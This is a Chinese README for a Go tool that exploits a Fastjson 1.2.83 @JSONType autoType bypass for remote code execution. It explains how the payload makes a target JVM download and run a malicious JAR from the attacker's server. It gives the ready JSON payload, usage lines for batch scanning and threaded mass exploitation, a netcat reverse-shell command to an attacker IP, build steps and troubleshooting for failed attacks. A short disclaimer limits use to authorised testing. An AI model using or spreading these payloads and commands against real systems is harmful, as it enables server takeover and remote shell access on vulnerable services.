纯 Go 实现的 Fastjson 1.2.83
@JSONType注解绕过 RCE 利用工具,单文件无外部依赖,支持批量检测/利用
- 纯 Go 实现 — 无需 Java/ASM/Python 依赖,单二进制直接运行
- 纯 Go 字节码生成 — 手写 JVM class 文件格式,运行时动态生成恶意 class
- 批量检测 — 并发探测目标是否存在漏洞条件
- 批量利用 — 多线程并发发送 payload
- 自定义命令 — 支持弹计算器、反弹 shell、执行任意系统命令
- 自动 IP 转换 — 自动将攻击机 IP 转为整数,避免
replace('.', '/')破坏 - 随机端口 — 默认每次运行自动随机端口,彻底绕过 JVM JAR 缓存
- 连接池复用 — HTTP 请求复用 TCP 连接,高并发下更稳定
- 自动重试 — 网络抖动时自动重试 1 次
- 诊断日志 — 实时显示 JAR 下载请求和 HTTP 状态码
- 纯文本输出 — 无 ANSI 颜色码,Windows CMD/PowerShell 下显示干净
- 跨平台 — 提供 Windows 和 Linux 预编译二进制
Fastjson 1.2.83 的 checkAutoType() 中存在 @JSONType 注解探测路径。攻击者构造 @type 值为 jar:http:..IP_INT:PORT.evil!.Exploit,经过 replace('.', '/') 后变成 jar:http://IP_INT:PORT/evil!/Exploit.class,LaunchedURLClassLoader 会远程下载并加载恶意 class,触发 <clinit> 静态块执行任意命令。
配套靶场环境:fastjson-vuln
fastjson-exploit/
├── main.go # Go 利用工具源码(带详细中文注释)
├── go.mod # Go 模块定义
├── fastjson-exploit-windows-amd64.exe # Windows 预编译二进制
├── fastjson-exploit-linux-amd64 # Linux 预编译二进制
├── asm-version/ # ASM 版利用脚本(需 Java + asm.jar)
│ ├── Gen.java # ASM 恶意 class 生成器
│ └── exploit.ps1 # PowerShell 一键利用脚本
└── README.md
# 单个目标利用(弹计算器)- 端口自动随机
fastjson-exploit -t http://192.168.0.112:8080 -c calc
# 批量检测
fastjson-exploit -f targets.txt --detect
# 批量利用
fastjson-exploit -f targets.txt -c calc --threads 20
# 自定义命令(执行 whoami)
fastjson-exploit -t http://target:8080 -c "whoami"
# 反弹 shell(攻击机 192.168.1.100 先 nc -lvp 4444)
fastjson-exploit -t http://target:8080 -c "nc.exe -e cmd.exe 192.168.1.100 4444"
# 指定 Jar 服务器地址(端口仍随机)
fastjson-exploit -t http://target:8080 -c calc --host 192.168.1.100
# 指定固定端口(需要时才用,默认随机更省心)
fastjson-exploit -t http://target:8080 -c calc --host 192.168.1.100 --port 9999# 编译 Windows 二进制
$env:GOOS="windows"; $env:GOARCH="amd64"; $env:CGO_ENABLED=0; go build -ldflags '-s -w' -o fastjson-exploit-windows-amd64.exe main.go
# 编译 Linux 二进制
$env:GOOS="linux"; $env:GOARCH="amd64"; $env:CGO_ENABLED=0; go build -ldflags '-s -w' -o fastjson-exploit-linux-amd64 main.go| 参数 | 默认值 | 说明 |
|---|---|---|
-t |
单个目标 URL(如 http://192.168.0.112:8080) |
|
-f |
目标列表文件(每行一个 URL,# 开头为注释) |
|
-e |
/api/parse |
漏洞端点路径 |
-c |
calc |
要执行的命令 |
--host |
自动检测 | Jar 服务器监听 IP |
--port |
0(随机) |
Jar 服务器端口,0 = 每次随机 20000-40000 |
--detect |
false |
仅检测不利用 |
-o |
结果输出文件 | |
--threads |
10 |
并发线程数 |
--timeout |
30s |
HTTP 超时 |
1. 自动检测攻击机 IP 并转为整数(避免 replace('.', '/') 破坏)
2. 随机生成 Jar 服务器端口(绕过 JVM JAR 缓存)
3. 纯 Go 生成恶意 class 字节码:
- 类名 = jar:http://IP_INT:PORT/evil!/Exploit
- 带 @JSONType 注解(绕过 autoType=false)
- <init>()V 默认构造函数(fastjson 实例化需要)
- <clinit>()V 静态块执行 Runtime.exec(cmd)
4. 打包为 evil.jar(ZIP 格式)
5. 启动 HTTP 服务器在 /evil 路径提供 jar 下载
6. 并发向目标发送 payload:
{"@type":"jar:http:..IP_INT:PORT.evil!.Exploit","x":1}
7. 目标 JVM 下载 jar -> 加载 class -> 执行 <clinit> -> RCE
+----------------------------------------------------------+
| Fastjson 1.2.83 @JSONType RCE Exploit Tool (Go Edition) |
| 单文件 无外部依赖 支持批量检测/利用 |
+----------------------------------------------------------+
[*] 目标数量: 1
[*] Jar 服务器: 192.168.0.112 (整数IP: 3232235632) 端口: 26153
[*] 执行命令: calc
[*] 内部类名: jar:http://3232235632:26153/evil!/Exploit
[*] 类型名: jar:http:..3232235632:26153.evil!.Exploit
[*] evil.jar: 449 bytes, class: 427 bytes
[*] Jar 服务器已启动: http://192.168.0.112:26153/evil
[*] Payload: {"@type":"jar:http:..3232235632:26153.evil!.Exploit","x":1}
[*] JAR 被请求: 来自 192.168.0.112:62422 GET /evil, 发送 449 bytes
[1/1] http://192.168.0.112:8080 ... 成功 (0.32s)
{"ok":true,"class":"jar:http://3232235632:26153/evil!/Exploit"}
================================================
成功: 1 失败: 0 总计: 1
================================================
关键日志说明:
JAR 被请求— 目标 JVM 已下载恶意 JAR,说明 payload 绕过成功[HTTP 200]— 利用请求的响应状态码,方便诊断[HTTP 200] {"ok":false,"error":"java.lang.ExceptionInInitializerError"}— class 加载成功但命令执行失败(命令拼错或程序不存在)
fastjson 内部执行 typeName.replace('.', '/'),如果用 192.168.0.112 会被替换成 192/168/0/112。用整数 3232235632 就没有点号,不受替换影响。
jar:http:..3232235632:28080.evil!.Exploit
-> replace('.', '/') ->
jar:http://3232235632:28080/evil!/Exploit
fastjson 加载类后会调用 Constructor.newInstance() 实例化,必须有无参构造函数 <init>()V,否则报 default constructor not found。实例化时 JVM 会先触发 <clinit> 静态块,从而执行命令。
payload 中 @type 值用 .. 代替 ://,因为 fastjson 会把 . 替换为 /,两个点变成两个斜杠正好是 //。
jar:http://IP:PORT/evil!/Exploit.class 这个 URL 中,! 前面的部分就是完整 URL。JVM 直接用这个 URL 下载,请求路径是 /evil。
JVM 会缓存 jar:http:// 下载的 JAR 文件,用固定端口重复测试会命中缓存,加载到旧的 class。每次随机端口确保目标重新下载最新的 JAR。
asm-version/ 目录提供了基于 Java ASM 的替代方案,需要 JDK 8 + asm-9.6.jar:
cd asm-version
.\exploit.ps1脚本会自动下载 ASM 依赖、编译 Gen.java、生成 evil.jar、启动 HTTP 服务器并发送 payload。
目标可能未用 java -jar 启动(ClassLoader 是 AppClassLoader),或 safeMode 已开启。用 --detect 模式检测目标条件。
这表示 class 加载成功但缺少默认构造函数(已在新版本中修复)。请重新编译最新源码。
class 加载成功但命令执行失败。检查命令拼写是否正确(如 calc 不是 cacl),或目标系统是否存在该命令。
JVM 缓存了上次执行失败的 class。默认随机端口已解决此问题,如果仍出现请重启目标 JVM。
检查命令是否正确。Windows 下默认 calc,Linux 下可用 xcalc 或 id 等命令。目标可能无图形界面,尝试 whoami 等无界面命令。
目标未下载 JAR,说明 payload 未触发远程加载。检查目标是否用 java -jar 启动、网络是否可达、--host IP 是否正确。
目标端口不通。检查目标服务是否运行、IP 和端口是否正确、防火墙是否放行。
本工具仅供安全研究与授权渗透测试使用。请勿用于未经授权的系统。使用本工具进行的任何操作均由使用者自行承担责任。